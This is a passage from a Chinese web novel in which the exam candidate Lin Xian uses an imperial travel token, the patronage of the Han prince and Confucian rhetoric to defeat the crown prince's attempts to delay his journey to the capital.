林闲脸上的温和神色渐渐敛去,他直视城楼上的偏将轻笑一声,那笑声中却带着寒意。
“搜身?查货?”
林闲语气平淡,却字字千钧:“将军,真是好大的官威啊。”
他上前一步,气势丝毫不输于城上之人:“却不知将军是要搜江南巡抚周大人亲笔签发的路引?还是要查赵王府、汉王府特赠的通行令牌?亦或是……”
林闲故意顿了顿,从怀中取出一面蟠龙纹样的金色令牌高高举起!
通行令牌在火把照耀下,折射出耀眼的光芒,正中央赫然刻着四个龙飞凤舞的大字——“御赐通行”!
“将军是否要查一查,这面陛下亲赐、特准林某此次进京一路通行的令牌,是不是也是番邦奸细之物?!”
林闲的声音清朗,特意在“陛下亲赐”和“一路通行”上加重了语气。
那偏将原本倨傲的表情瞬间僵住,他虽然离得远,看不太清具体字样,但那蟠龙纹样和“御赐”二字,在火把下反光格外刺眼!
他脑子里“嗡”的一声!御赐令牌?!陛下竟然特赐了通行令牌给这个林闲?!
“御……御赐令牌?!”
偏将的声音因极度震惊和恐惧而变调,双腿发软,几乎站立不稳,幸亏扶住了城垛才没瘫倒。
他接到的命令是刁难林闲拖延其行程,可没人告诉他这小子手里有御赐的东西啊!
这……这玩意儿就算不是“如朕亲临”那种免死金牌,也代表着皇家的脸面!阻拦持御赐令牌的人,形同抗旨!
城上的士兵们虽然不明所以,但看到将军瞬间面如土色语无伦次,又听到“御赐”二字,也吓得魂飞魄散。
那排弓箭手更是手忙脚乱,差点把弓箭掉在地上,纷纷下意识地后退,生怕被牵连。
林闲将他们的惊恐尽收眼底,心中冷笑,要的就是这个效果。
他手持令牌,声音响彻夜空,每一句都直戳对方心窝:
“见此御令,如见天恩!尔等区区一个守关偏将,安敢口出狂言,污蔑手持御令的朝廷解元为番邦奸细?!安敢阻拦陛下特准通行之人入关?!安敢让陛下关切之士,在这荒郊野岭淋雨喂狼?!你这潼安关,是想反吗?!”
林闲巧妙地将“御赐通行”的权限无限放大,扣上了“天恩”、“陛下关切”、“反叛”等大帽子,句句诛心!
“末将……末将不敢!末将不知是持御令的大人驾到!末将眼瞎!末将该死!末将该死啊!”
那偏将早已吓得魂飞魄散,噗通一声重重跪在冰冷的城楼石板上,磕头如捣蒜,额头瞬间见红,声音带着哭腔和绝望。
他深知无论这令牌具体权限如何,冲撞了御赐之物就是大罪!
“开城门!快开城门!迎……迎大人入关!快!”
沉重的城门在守军慌乱的操作下,吱吱呀呀缓缓打开。
林闲冷哼一声,这才将令牌收回怀中。
他转身对身后目瞪口呆的举子们一笑,仿佛刚才只是解决了一个微不足道的小麻烦:“诸位年兄,一场误会,让大家受惊了。入关吧。”
举子们这才从极度的震惊中回过神来,爆发出震天的欢呼和议论!
“我的天!御赐令牌!闲先生竟有陛下亲赐的令牌!”
“我就说嘛!闲先生岂是凡人!连陛下都如此看重!”
“哈哈哈,看那狗眼看人低的家伙,差点吓尿裤子!”
车队在一片敬畏的目光中,浩浩荡荡驶入关内。
那偏将依旧跪在城头,面如死灰,浑身被冷汗浸透。
他知道自己的仕途甚至性命,恐怕都到头了。
他不仅没能完成太子的交代,反而捅了更大的篓子,得罪了手持御令的人!而这一切,都源于他对那面令牌威力的误判和林闲犀利的言辞。
林闲心中明镜似的:这令牌虽是临时通行证,但用来吓唬这些底层官吏,足够了。赵王这份“顺水人情”,送得正是时候….
见那偏将连连求饶,林闲这才将令牌收回怀中。
他指尖触及那温润的金属表面时,脑海中不由得闪过几日前赵王信使将此令交予他时,附带的赵王亲笔信中的内容,以及他据此推演的赵王在御前请令的情景:
当时赵王周宸,借禀报“元启”贡品事宜或商议要务的时机,在御书房里看似不经意的语气向皇帝提起:
“父皇,儿臣近日听闻,江南解元林闲不日将启程进京赴考。此子才学出众,于格物之道更有惊人之举,所创‘元启’诸物于民生颇有益处。只是……儿臣收到些风声,似乎有人对其不满,恐其进京路途不太平……”
赵王略作沉吟,面露恰到好处的担忧。
御座上的皇帝或许正在把玩一块“元启”香皂,或品着清口胶,闻言抬眼好奇:“哦?竟有此事?一个解元进京,也能惹出风波?”
赵王趁机道:“父皇明鉴。林闲此子,虽为白身,然其才其能于国于民,未来或有大用。儿臣思忖若其途中真遭不测,或受刁难延误春闱,不仅是我朝损失,恐寒了天下士子之心。况且其所献贡品深得圣心……不若赐他一道通行令牌,准其一路关卡放行,以示天恩浩荡,亦保其平安抵京,全心备考。此乃父皇爱才之心,亦显朝廷对士林之重视。”
赵王话语恳切,既点明林闲的价值,又扣住了皇帝爱才和重视科举的心思,更将可能的刁难轻描淡写归为“路途不太平”,给太子留了余地却足以引起皇帝警惕。
皇帝略一思索,或许觉得此举既能施恩于有潜力的才子,又能彰显皇恩,且一道临时通行令牌并非重大恩赏。
随即他便颔首应允:“准奏。便依你所言,赐他一道通行令,沿途关卡,不得刁难。”
林闲心中暗笑:赵王这一手玩得漂亮!
这面令牌与其说是通行证,不如说是赵王插在我这辆“战车”上的一面保护旗,既是投资也是宣告。而自己方才顺势借这面“虎皮”,狠抽了那不长眼的偏将一顿,正是物尽其用。
这京城之路,真是越来越有趣了……
“嘎吱~”
沉重的城门,缓缓打开。
林闲并未立刻入关,他冷冷看了一眼跪在城头瑟瑟发抖的偏将,对身旁的影刹淡淡吩咐道:“记下此人的姓名官职。明日一早,将今日之事写成密折,六百里加急分别送往赵王府、汉王府。”
“是,先生。”
影刹躬身领命,看向那偏将的眼神,如看一个死人。
林闲这才转身,对身后一众目瞪口呆的举子微微一笑,仿佛刚才什么都没发生:“诸位年兄,受惊了。一点小误会,现已澄清。关内已备好驿站,大家入关好生安歇吧。”
举子们这才回过神来,顿时爆发出震天的欢呼和敬佩之声!
“解元公威武!”
“闲先生竟有御赐金令!真是深藏不露!”
“看那狗屁偏将还敢嚣张!”
车队,在这位偏将和守军们敬畏的目光注视下,浩浩荡荡驶入了潼安关。
那面“元启”商旗,在夜色中仿佛也带上了一层不容侵犯的威严。
而那位跪在城头、面如死灰的偏将知道,他的仕途甚至性命,恐怕都要到头了。
他万万没想到,本想刁难一个商人举子,却一脚踢在了铁板上,不,是钢板上!
闲生一怒,金令横空。
宵小伏诛,雄关洞开。
这进京之路,注定无人再敢轻易阻拦。
第159章 雷霆解围:汉王麾下显神威
很快林闲一行顺利入了潼安关,沿着主街向驿站行去。
本以为风波已平,谁知刚至驿站门口异变陡生!
一名身着参将服饰的武将,带着一队如狼似虎的亲兵从驿站旁侧冲出,拦住车队去路。
此人乃是潼安关副将王参将,太子一系的死忠分子。
方才并未在城楼当值,听闻林闲不知为何竟能闯进城,这才急匆匆赶来寻衅!
“站住!”
王参将声如破锣,目光凶狠扫过车队,最后定格在林闲身上傲慢道:“你就是那个林闲?哼!听说你手持什么御令,招摇过市?拿出来给本将查验查验!谁知是不是伪造的!”
林闲眉头微蹙,心知此人是有备而来胡搅蛮缠。
他不欲多生事端,便欲再次取出令牌。
然而他刚将令牌从怀中取出,那王参将竟眼中凶光一闪,猛地伸手一拍!
“啪嗒!”
那面金光闪闪的“御赐通行”令牌,竟被他一掌拍落在地,在青石板上弹跳了几下,发出清脆的响声!
“哼!什么破铜烂铁,也敢冒充御令?来人!给本将把这伙形迹可疑之人拿下!仔细搜查!”
王参将狞笑道,身后亲兵“唰”地拔出腰刀,寒光闪闪!
举子们又惊又怒!
影刹眼神一寒,手已按上剑柄!
气氛瞬间剑拔弩张,大战一触即发!
就在这千钧一发之际!
“哒哒哒——!”
一阵急促如雷鸣般的马蹄声由远及近,震得地面微颤!
只见街道尽头,一队约百人的精锐铁骑,如同赤色洪流般席卷而至。
骑士个个盔甲鲜明,刀枪锃亮,杀气腾腾!
队伍前方,一杆大纛迎风招展,上书一个斗大的“李”字!
队伍瞬间冲至近前,将驿站门口围了个水泄不通!
为首一员将领,身着绯色官袍外罩软甲,腰悬宝剑,面如重枣不怒自威,正是汉王周阳麾下心腹爱将、现任兵部职方司郎中兼潼安关巡边钦差——李振。
他奉汉王之命巡边至此恰好驻节关中,闻讯即刻赶来!
李振端坐于高头大马之上,目光如电,扫过全场,瞬间将局势尽收眼底。
他的目光在林闲脸上略微停留,闪过一丝不易察觉的赞许与了然。
随即李振脸色一沉,如万年寒冰冷冷看向那脸色煞白的王参将,随后咆哮炸响在每个人耳边:
“王参将!尔好大的狗胆!”
这一声怒喝,如同晴天霹雳!
那王参将吓得浑身一哆嗦,差点瘫软在地!他身后的亲兵也个个面无人色,纷纷收刀后退!
李振根本不给他辩解的机会,马鞭一指地上那枚令牌喝道:“此乃陛下亲赐特准林解元一路通行的御令!你竟敢打落在地?!你这是要反吗?!”
“李……李大人!末将……末将不知啊!末将只是……只是例行查验……”
王参将魂飞魄散,语无伦次。
“查验?”
李振嗤笑一声,声音冰冷刺骨:“本官看你是蓄意刁难!林解元乃今科江南解元,文名播于天下!汉王殿下屡次赞誉其才!这些举子,皆是我大周未来栋梁!你口中的‘形迹可疑’,莫非是指汉王殿下赏识的人是奸细?还是指本官亲自安排的沿途护卫是匪类?!”
他每问一句便策马前进一步,强大的气势压得王参将几乎窒息!
“汉王殿下”四个字,如重锤狠狠砸在王参将心头!
“末将不敢!末将愚钝!瞎了狗眼!求大人开恩!求大人开恩啊!”
王参将彻底崩溃,噗通一声跪倒在地,磕头如捣蒜,额头瞬间鲜血淋漓!
李振这才冷哼一声,不再看这蝼蚁。
他翻身下马,快步走到林闲面前。
脸上的寒冰瞬间消融,换上一副热情而又不失威仪的笑容,竟主动弯腰,亲手拾起那枚令牌,用衣袖仔细擦拭干净,郑重交还到林闲手中,语气诚恳:
“林解元受惊了!本官李振,奉汉王殿下之命巡边。殿下虽在京城,却时刻心系天下士子,常言‘文治武功,缺一不可’!今日竟有这等不开眼的蠢材冲撞了解元,惊扰了诸位年兄,实乃本官失察之过!汉王殿下若知,定然痛心疾首!”
这一手,给足了林闲和众举子天大的面子!
众举子见状,心中那点怨气早已烟消云散,取而代之的是受宠若惊和对汉王、李将军的感激之情!
李振转身,对众人大声道:“殿下有令,凡进京赶考士子,途经汉王辖地,皆需以礼相待,尽力相助!今日之事,殿下定会给诸位一个交代!” 他大手一挥:“来人!将这不长眼的东西拿下!革去参将之职,押送军法处,严惩不贷!”
处理完王参将,李振笑容更盛:“驿站已备好酒宴,为诸位压惊洗尘!今晚一切用度,皆由本官——不,由汉王殿下做东!算是殿下给诸位年兄赔罪!”
“汉王殿下千岁!” 李振身后的百战精骑齐声高呼,声震屋瓦!
这一下,恩威并施,面子给足!不仅解决了麻烦,更将一场刁难变成了汉王礼贤下士、关爱人才的活广告!
驿站内早已张灯结彩,丰盛的酒席摆开,甚至还有军中医官候着。李振亲自作陪,与林闲及几位为首的举子同坐主桌,频频举杯。
“林解元之大才,殿下时常提及,赞不绝口啊!尤其是那‘元启’诸物,殿下用了也是连连称妙!” 李振笑道,话语间不着痕迹地抬举林闲。
“诸位年兄皆是江南俊杰,此次春闱,必能高中!届时同朝为官,还需多多亲近,共同为殿下、为朝廷效力!” 他话语恳切,不断暗示汉王求贤若渴。
众举子何曾受过这般重视?纷纷激动回应,对汉王好感倍增。
宴席间隙,林闲与李振借步廊下。李振低声道:“林解元,殿下让末将带话,京城水浑,万事小心。令牌虽好,亦需慎用。殿下在京城,静候解元佳音。”
林闲会意点头:“多谢殿下挂怀,多谢李大人今日解围。林某心中有数。”
驿站夜宴,宾主尽欢,酒过三巡。李振谈笑风生,既展现了钦差的威仪,又不失武将的豪爽,与诸位举子相谈甚欢,言语间对林闲更是推崇备至。宴席将散之际,气氛融洽至极。
林闲见时机成熟,微微一笑,对侍立身后的林福微微颔首。林福会意,立刻带着几名仆役,抬上几个做工精致、散发着淡淡檀香的红木礼盒。
“李大人,” 林闲起身,声音清朗,瞬间吸引了所有人的目光。“今日承蒙大人仗义执言,解围之情,诸位将士奔波护持之义,林某与诸位年兄感激不尽。” 他语气诚恳,先拱手向李振及在座的几位将领行了一礼。
随即,他亲手打开一个礼盒。只见盒内以明黄绸缎衬底,整齐陈列着一套套精美的洗漱用品:鎏金雕花的香皂、造型别致的花洒、晶莹剔透的清口胶、还有数支新近制成的“元启速记笔”与“修正擦”,甚至还有几包便携装的火锅底料!种类齐全,包装奢华,一看便知非是凡品。
“区区薄礼,不成敬意。” 林闲含笑介绍道,“此乃‘元启’特制的‘将军戎马套装’,香皂可洁身净气,花洒可解行军疲乏,清口胶可提神醒脑,这笔墨文具便于大人处理军务文书,这几包底料,大人与将士们巡边辛苦,闲暇时亦可煮上一锅,驱寒饱腹,略享野趣。”
他特意将用途与军旅生活结合,显得既实用又贴心。
李振是何等人物?一眼便看出这套礼物的价值不菲与用心良苦!尤其是那“元启”的名头,如今在京城都是紧俏货,这特制套装更是有价无市!林闲此举,不仅是感谢,更是一种实力的展示和人脉的维系!
“哎呀!林解元!这……这如何使得!” 李振连忙起身,脸上露出“受宠若惊”的神色,双手接过礼盒,语气带着几分激动:“解元公太客气了!李某份内之事,何足挂齿!倒是解元公,不仅才学冠绝江南,这待人接物,更是如此周到慷慨!殿下常赞解元公乃世间奇才,今日一见,果然名不虚传!”
李将军朝手下们朗声笑道:“诸位兄弟,瞧瞧!这可是林解元的一片心意!京城里王公贵族都未必能凑齐的‘元启’精品!咱们这些粗人,今日可是沾了解元公的光,也享一回京中贵人们的福气了!哈哈哈!”
众将领早已眼热不已,闻言纷纷大笑,看向林闲的目光更加热切和敬佩,纷纷抱拳道谢:
“多谢林解元厚赐!”
“解元公豪气!以后路过潼安关,有啥事尽管言语!”
“早就听闻‘元启’大名,今日总算得见真容了!”
李振又压低声音,对林闲郑重道:“解元公放心!今日之事,李某定会原原本本禀明汉王殿下!殿下求贤若渴,最重人才,得知解元公如此气度,必然更加欣喜!京城那边,若有宵小作祟,殿下亦不会坐视!”
林闲微笑颔首:“大人言重了。一点心意,聊表谢忱。他日大人与诸位将军若有所需,或‘元启’有新物,林某定当派人送至军中。” 轻描淡写间,许下了一个长期往来、互利互惠的承诺。
这一番赠礼答谢,宾主尽欢,情谊更进一层。林闲用实实在在的“元启”精品,不仅还了人情,更在李振这支汉王系的精锐军中,成功播下了好感的种子,拓宽了人脉,也为“元启”产品打入军方潜在市场埋下了伏笔。
送礼都能送出战略高度,闲神之手段,可见一斑。众举子在一旁看得心潮澎湃,对林闲的为人处世佩服得五体投地。
第160章 学督查刁:亮剑破困局
一夜休息后,第二天众人辞别潼安关继续北上。
沿途有汉王系的暗中关照,加上“御赐通行”令牌的余威,一路倒也顺畅无阻。
不日,车队抵达了南北通衢的另一处重镇——河阳府。
此地文风鼎盛,设有省学政衙门的重要分支机构。督学官位虽不高,却对过往士子有监督训导之权。
按照惯例,赶考举子途经此类学政重地,需前往拜会当地学官报备行程,接受一番“圣贤之道、士子本分”的例行训导。
名为“砥砺学风”,实则也是一种监督和资格审查。
然而河阳府的督学官孙守礼,乃是太子太傅一党的门生。其为人迂腐刻板,满口仁义道德实则心胸狭隘。
他早已接到京中东宫令,要设法“规劝”林闲挫其锐气,最好能拖延其行程。
学政衙门的正堂内,气氛肃穆。
孙督学端坐于上首,身着鹌鹑补子官袍,面色严肃得如同庙里的泥塑。
他先是照本宣科,之乎者也训导了一番“士子当清心寡欲,勤勉向学,远离奇技淫巧”的大道理,听得底下一些年轻举子昏昏欲睡。
随即他话锋一转,目光扫过堂下众举子,最后定格在最前方林闲身上:
“林解元!”
他声音拔高,想要在气势上先发制人:“本官听闻,你此番北上排场浩大,车马辚辚仆从如云!更兼沿途聚众饮宴,奢靡无度!所用器物多涉海外奇技淫巧,诸如什么‘火锅’、‘香皂’、‘铅笔’之类!”
他越说越激动,甚至站起身来,指着堂外隐约可见的林闲车队痛心疾首:“看看!香车宝马,奇物纷呈!此等行径,与圣贤教诲之‘俭以养德’背道而驰!岂是士子典范?!若天下士人皆效仿此风,崇尚物欲追逐奇巧,我辈读书人‘修身齐家治国平天下’之志何在?体统何在?!”
见举子们神色有些凌乱,孙守礼得意做出决断状:“本官身为督学职责所在,绝不能坐视此等浮华之风蔓延!为尔等前程计,为士林清誉计!尔等需暂留此地,于驿馆之中静思己过革除奢习。待本官查验尔等行装文书,确认无违圣贤之道后,方可放行!”
这简直是赤裸裸的刁难和扣押!
“静思己过”、“查验行装”….
分明是想将众人软禁在此,拖延考期!
众举子闻言,群情激愤!
“孙大人!此言差矣!我等所用之物,皆为民生日用,便利非常,何来奢靡?”
“赶考行程紧迫,岂能无故耽搁?大人这是欲加之罪何患无辞!”
“莫非用些便利之物,便是有违圣道了?真是荒谬!”
林闲听着这迂腐不堪的论调,心中冷笑连连。
他面上却依旧平静无波,随即上前一步微微拱手,不卑不亢道:
“孙大人忧心士林风气,学生感佩。然大人所言,学生实不敢苟同。”
他目光坦然迎向孙守礼,侃侃而谈:
“圣贤亦云,工欲善其事,必先利其器。学生所用香皂花洒,不过是为保洁净免生疾病,方能安心向学。所制铅笔橡皮,是为速记草稿,提高治学效率。至于与诸位年兄偶尔聚餐所用火锅,亦是取‘围炉共话,切磋学问’之意,食材寻常何来奢靡?”
不等孙学礼反驳,他语气渐转犀利:“若按大人之论,莫非我等读书人便该蓬头垢面食不果腹,用秃笔残墨,方显清高?方能治国平天下?此非俭也,实为迂也!大人身为学官,不鼓励学子学以致用格物创新,反以此等细枝末节苛责赴考士子延误考期,岂非本末倒置?若陛下与天下人知河阳府如此,不知会作何感想?”
这一番话有理有据,更是直接点出了“延误考期”的严重后果和可能引发的舆论压力!
孙守礼被驳得面色一阵青一阵白,他没想到林闲如此牙尖嘴利。尤其最后那句“陛下与天下人作何感想”,更是戳中了他的软肋!
但他仗着官身和“理学”大旗,岂肯轻易罢休?
“强词夺理!巧言令色!”
孙守礼恼羞成怒,猛拍惊堂木(虽然学政衙门一般不设此物,但气氛到了):“本官所见,便是事实!尔等车队奢华器物奇巧,便是明证。若不思悔改,便在此驿馆好好反省几日,本官这也是为你们好!来人哪!送诸位举子回驿馆‘静思’!没有本官手令,任何人不得随意出入!”
竟真有几名衙役应声上前,虽不敢动粗但态度强硬想“请”众人回驿馆!
众举子又气又急,却一时无可奈何。
对方毕竟是学官,手握训导之权。
林闲看着孙守礼那副“卫道士”的嘴脸,眼中寒光一闪而逝。
他心知与此等腐儒纠缠道理纯属浪费时间,既然对方不讲理,那便亮出对方不得不讲理的“道理”!
就在孙守礼自以为得计,准备拂袖退堂之际——
林闲忽然轻笑一声,声音不大却清晰地传遍整个大堂:
“孙大人且慢。”
他不慌不忙,再次从怀中取出那面雕刻着蟠龙纹样令牌,用指尖轻轻摩挲着令牌边缘,平静看着孙守礼调侃:
“大人坚持要查验‘无违圣贤之道’,方可放行。却不知……”
他故意拖长了音调:“陛下亲赐、特准林某此次进京一路通行的这份恩典……算不算是‘圣意’,合不合‘圣贤之道’?大人若要扣下令牌持有人,细细查验‘圣意’是否合乎‘道理’……”
林闲终于将令牌缓缓举起,让那“御赐通行”四字在堂内光线下清晰可见,意味深长冷笑道:
“那是否需要……先上一道奏折,请示一下陛下?”
“御赐”!
这两个字如惊雷,炸响在孙守礼耳边!
他脸上的得意和倨傲瞬间凝固,取而代之的是极致的惊恐和难以置信!
“噗通”
他双腿一软,竟直接从官椅上滑跪到了地上!
“御……御赐令牌?太子为何没说?”
他颤抖得如同风中残叶,内心一万匹动物飘过。
他万万没想到,林闲不仅有御赐令牌。
这背景远比他想象的还要深厚可怕!
扣押手持御令的举子,这罪名,他十个脑袋也不够砍的!
“末……下官……下官不知是持御令的钦……公子驾到!下官愚钝!下官有眼无珠!下官该死!”
孙守礼磕头如捣蒜语无伦次,哪还有半点刚才的道学先生模样?
“还不快滚开!让路!恭送林公子及诸位年兄出城!”
他对着那些衙役嘶声吼道。
局势瞬间逆转!
林闲收回令牌,看也不看孙守礼,对身后一众扬眉吐气的举子们淡然笑道:“诸位年兄,看来孙大人已经想明白了。我们走吧。”
说罢,林闲率先大步流星走出学政衙门。
众举子昂首挺胸,紧随其后,心中对林闲的敬佩之情,更是如滔滔江水。
驿馆之困,顷刻瓦解。
闲生亮牌,不费吹灰之力。
腐儒借题发挥,终是螳臂当车。
半个时辰后,车队重新驶上北上的官道,将河阳府那场闹剧远远抛在身后。
车厢内林闲靠坐在舒适的软垫上,指尖轻叩着窗沿,目光悠远。
方才孙守礼那副前倨后恭、色厉内荏的丑态,并未在他心中掀起太多波澜。此等腐儒,不过是权力棋局中一枚可悲的棋子,眼界狭隘,只知抱着僵死的教条狂吠,实则不堪一击。
他心中所想,早已超越了这区区个人的刁难与一时的意气之争。
井蛙不可语海,夏虫不可语冰。
尔等眼中,只见香车宝马,便以为是奢靡。
听闻新奇器物,便斥为奇技淫巧。
却不知这天下之大,岂是几本故纸堆所能囊括? 时代洪流,滚滚向前,又岂是几句酸腐道理所能阻挡?
他想起“元启”带来的改变,想起那些因便利器物而绽放的笑容,想起格物致用所蕴含的磅礴力量。
我林闲所求,又岂是尔等所能揣度?
一股难以言喻的豪情,在他胸中激荡。
第161章 狭路相逢:谈笑间灰飞烟灭
离开河阳府,林闲一行继续北上。
越靠近京城,官道愈发宽阔平坦。车马行人络绎不绝,一派繁华景象。
这一日,车队行至一处名为“十里坡”的交通要冲。
此地设有官驿,是南来北往客商、官员、学子惯常歇脚之地。
车队正欲按惯例驶入驿站,却见驿站前的空地上,早已被一支规模不小的车队占据。
这支车队车驾华丽,车旁仆从如云护卫精悍。一杆杆旗帜迎风招展,上面赫然绣着“东宫崇文馆”五个刺眼的大字!
竟是太子门下招揽的一批年轻学子,同样是在赴京备考!看这阵势分明是早有准备,在此“恭候”多时了!
这群太子党学子约有三四十人,个个衣着光鲜神情倨傲。
为首者是一名年约二十、面色白皙的锦衣公子,名叫徐文才,乃是太子少师的侄孙,素以才思敏捷口齿伶俐著称,更兼仗着太子势要骄横跋扈。
见林闲车队到来,徐文才等人非但毫无避让之意,反而故意将车马横七竖八地停在路中,彻底堵死了驿站入口。
徐文才“唰”地一声展开一柄泥金折扇,在一众同党的簇拥下,慢悠悠踱步上前,用扇子遥指林闲的车驾,语带夸张的惊讶和浓浓的讥讽,让双方人马都听得清清楚楚:
“我道是哪位王公勋贵驾到,竟有如此浩大的排场!”
他故意拉长音调,引得身后太子党一阵哄笑。
随即他扇子一收,指向林闲车队中那些醒目的“元启”商旗和装载货物的马车,阴阳怪气道:“原来是江南来的‘财神爷’林解元大驾光临啊!失敬失敬!”
见林闲方面举子面露怒色, 徐文才反而来劲儿。
他迈着六亲不认的步伐围着车队走了半圈,啧啧有声嘲讽道:“瞧瞧!这香车宝马,这满车的‘奇珍异宝’!林解元这到底是去京城赶考呢,还是要去西市开一家‘元启’总号啊?知道的说您是今科解元,不知道的还以为是哪家皇商巨贾巡游天下呢!哈哈哈!”
太子党众人顿时爆发出更加响亮的哄笑,充满了恶意和轻蔑。
徐文才得意洋洋,继续他的表演:“诸位同年,我等寒窗苦读,一心只读圣贤书,两耳不闻窗外事,可谓清苦!哪比得上人家林解元财通四海!这一路北上听闻是火锅宴不断,吉他曲悠扬,当真是风流快活,潇洒惬意!我等真是望尘莫及,自愧不如啊!”
这番话尖酸刻薄,其心可诛!
不仅刻意将“治学”与“经商”对立起来,污蔑林闲铜臭满身、不务正业,更是企图在道义上打压林闲,瓦解江南举子们的士气!
随行的江南举子们何曾受过这等窝囊气?顿时群情激愤!
不等林闲发话,几位脾气火爆的年轻举子便已挺身而出!
“徐文才!你休要血口喷人!林年兄的才学,江南谁人不知?需要你这等攀附权贵之徒来评说?”
“哼!元启之物利国利民,香皂花洒哪个不是便民利器?岂是你们这些只知死读书的腐儒所能理解!”
“堵路拦驿,口出恶言,这就是东宫崇文馆的教养?真是丢尽了太子爷的脸面!”
双方唇枪舌剑,顿时在驿站门前吵成一团,气氛剑拔弩张!
徐文才那边人多势众,气焰嚣张。江南举子们则有理有据,同仇敌忾!
眼看冲突就要升级!
面对徐文才等人的公然挑衅和污蔑,悠悠踱步而出的林闲并未动怒,甚至连眉头都未曾皱一下。
他只是轻轻抬手,示意身后愤愤不平的江南举子们稍安勿躁。
随即他从容地走下马车,来到一脸倨傲的徐文才面前。
他神色平静如水,目光却深邃如寒潭,仿佛能洞穿人心。
这份超乎年龄的沉稳气度,让原本喧闹的场面瞬间安静了不少,所有人的目光都聚焦在他身上。
林闲并未直接反驳对方的污蔑,而是微微一笑,不疾不徐道:
“徐年兄此言,字字句句皆以圣贤为据,倒是让林某想起一个典故。” 他目光平和地看向徐文才,“不知年兄可曾细读《论语·子罕》篇?”
徐文才一愣,没料到林闲不按常理出牌,但自恃熟读经书,倨傲道:“自然读过!子曰:‘子罕言利,与命与仁。’ 圣人不言利,重仁命!正可印证尔等逐利之徒,背离圣道!”
林闲闻言,抚掌轻笑,仿佛听到了什么有趣的事情:“年兄记性不错,能背此句。然……” 他话锋一转,目光扫过在场所有学子,声音提高,“年兄可知,就在《论语》中,子贡问政于孔子,孔子是如何回答的?”
他自问自答,声若洪钟:“孔子曰:‘足食,足兵,民信之矣。’” 他刻意停顿,让每个字都敲在众人心上,“请问徐年兄,这‘足食’从何而来?若无‘货殖’流通,无‘利’以驱动,百姓何以足食?国家何以足兵?仓廪不实,礼节何以兴?”
徐文才脸色微变,刚想开口,林闲却不给他机会,语速加快,逻辑严密:“圣人非不言利,而是重义轻利,见利思义!若所为之‘利’,能利国利民,如制皂以洁身防病,创器以便民增效,通商以富国强兵,此等‘利’,便是‘义’之所在!是‘仁’之实践!何来背离圣道之说?!莫非年兄以为,让百姓饥寒交迫,让国家积贫积弱,才是遵循圣道?”
这一连串质问,如同连珠炮,打得徐文才措手不及,脸色阵红阵白!他强辩道:“巧言令色!强词夺理!士子当以修身为本,岂能沉溺商贾小道!”
林闲摇头,脸上露出一丝“孺子不可教”的惋惜神情,语气转为肃然:“徐年兄,你又错了,而且错得离谱。”
他朗声诵道,声音传遍全场:“《大学》开篇有云:‘古之欲明明德于天下者,先治其国;欲治其国者,先齐其家;欲齐其家者,先修其身;欲修其身者,先正其心;欲正其心者,先诚其意;欲诚其意者,先致其知;致知在格物。’”
诵毕他直视徐文才,声音陡然变得锐利:“格物,乃修身之始,是诚意正心、治国平天下的根基! 林某研制香皂花洒,是格‘清洁’之物;改进笔墨纸砚,是格‘书写’之物;探究水火之力用于火锅,是格‘饮食’之物!此皆是格物之实践!若按年兄所言,格物成了‘小道’、‘贱业’,那这‘修身、齐家、治国、平天下’的万丈高楼,根基何在?莫非年兄读书,只知寻章摘句,死记硬背,却不究其理,不践其行?如此治学,与纸上谈兵何异?岂非舍本逐末?!”
这一番引经据典的雄辩,将徐文才的指责批驳得体无完肤!
不仅捍卫了自己的行为,更反过来质疑了对方治学的方法和境界,直指其死读书、读死书的要害!
徐文才被问得哑口无言,额头冷汗直冒,身体微微摇晃。
他身后的太子党学子们也面面相觑,被林闲的博学、雄辩和强大的逻辑彻底震慑!一些围观的各地学子更是忍不住低声叫好!
然而,林闲的“反击”还未结束。
他不再看那狼狈不堪的徐文才,转身从容走回马车,取来那把紫檀木吉他。
他怀抱吉他,面向众人神色坦然道:“至于徐年兄所言‘风流快活’……林某不敢苟同,却也无需辩解。近日读《孟子》,偶有所得,作有一曲,名曰《浩然歌》,今日便借这十里坡之地,奏与诸位品鉴,亦明我志。”
说罢他修长的手指,轻轻拨动琴弦!
一段古朴、苍劲、充满浩然正气的旋律,顿时流淌而出!这吉他之声,不同于传统丝竹的婉转,却别有一种恢弘开阔的气象!
林闲随着旋律开口吟唱,声音清越激昂直冲云霄:
“吾善养吾浩然气,至大至刚塞天地!” (吉他声沉稳厚重,如大地共鸣)
“富贵不能淫,贫贱不能移,威武不能屈!” (吉他声陡然激越,如金石交击,铮铮作响!)
唱到此处,他目光如电,扫过面色如土的徐文才等人,歌声更添几分铿锵与不屑:
“岂因浮名绊此身?但求利泽被万民!” (旋律转为昂扬向上,充满理想光辉)
“笑看宵小狺狺语,风雅自是心中存!浩然存心,何惧风云!” (最后一个音符,被他以强大的指力,弹出一个清越悠长、余音绕梁的尾音!)
一曲终了!万籁俱寂!
整个十里坡,仿佛只剩下那吉他的余音在回荡!所有人都被这前所未见的“音乐版孟子”震撼得说不出话来!这不仅是才学,这是将经典融入血液,再用一种全新的艺术形式表达出来的超凡境界!歌词中的浩然正气,以及最后两句对挑衅者赤裸裸的蔑视,配合着吉他的磅礴音效,产生了无与伦比的冲击力!
寂静之后,是江南举子们爆发的震天喝彩!
“好!好一个《浩然歌》!”
“闲兄大才!此曲此志,当流传千古!”
“哈哈哈,宵小狺狺语,形容得太贴切了!”
就连一些太子党学子和围观的陌生人,也忍不住由衷地鼓起掌来!看向林闲的目光,充满了敬佩与惊叹!
徐文才等人,面红耳赤,无地自容!在林闲这博学、雄辩、风雅的三重碾压之下,他们的挑衅显得如此幼稚、狭隘、卑劣!他们恨不得找个地缝钻进去!
林闲淡然收琴,仿佛做了一件微不足道的小事。他看也不看那群丧家之犬,对己方激动不已的举子们平静道:“诸位年兄,夏虫不可语冰。与此等人物计较,徒费唇舌。驿站喧嚣,非治学之地。我们继续前行,前方自有清净处歇脚。”
“是!闲兄!” 江南举子们轰然应诺,士气高昂到了顶点!
车队在徐文才等人呆若木鸡下,从容绕过他们继续北上。
将那场可笑的闹剧,彻底甩在了身后。
经此一役,林闲“学究天人,辩才无双,风雅绝伦”的名声,如长了翅膀一般在赴京士子中飞速传扬开来。
太子的又一次挑衅,不仅未能阻挠林闲分毫,反而成了衬托其万丈光芒的可笑背景板…..
京城,更近了……
第162章 温柔陷阱:香饵破迷局
京城已遥遥在望,行程过了大半。
太子周扬接连收到计划受挫的消息,焦躁得又摔了几个珍贵的茶具。
此刻他的心情,就如热锅上的蚂蚁。
周扬知道若让林闲携着声威抵达京城,无异于纵龙入海再难遏制。
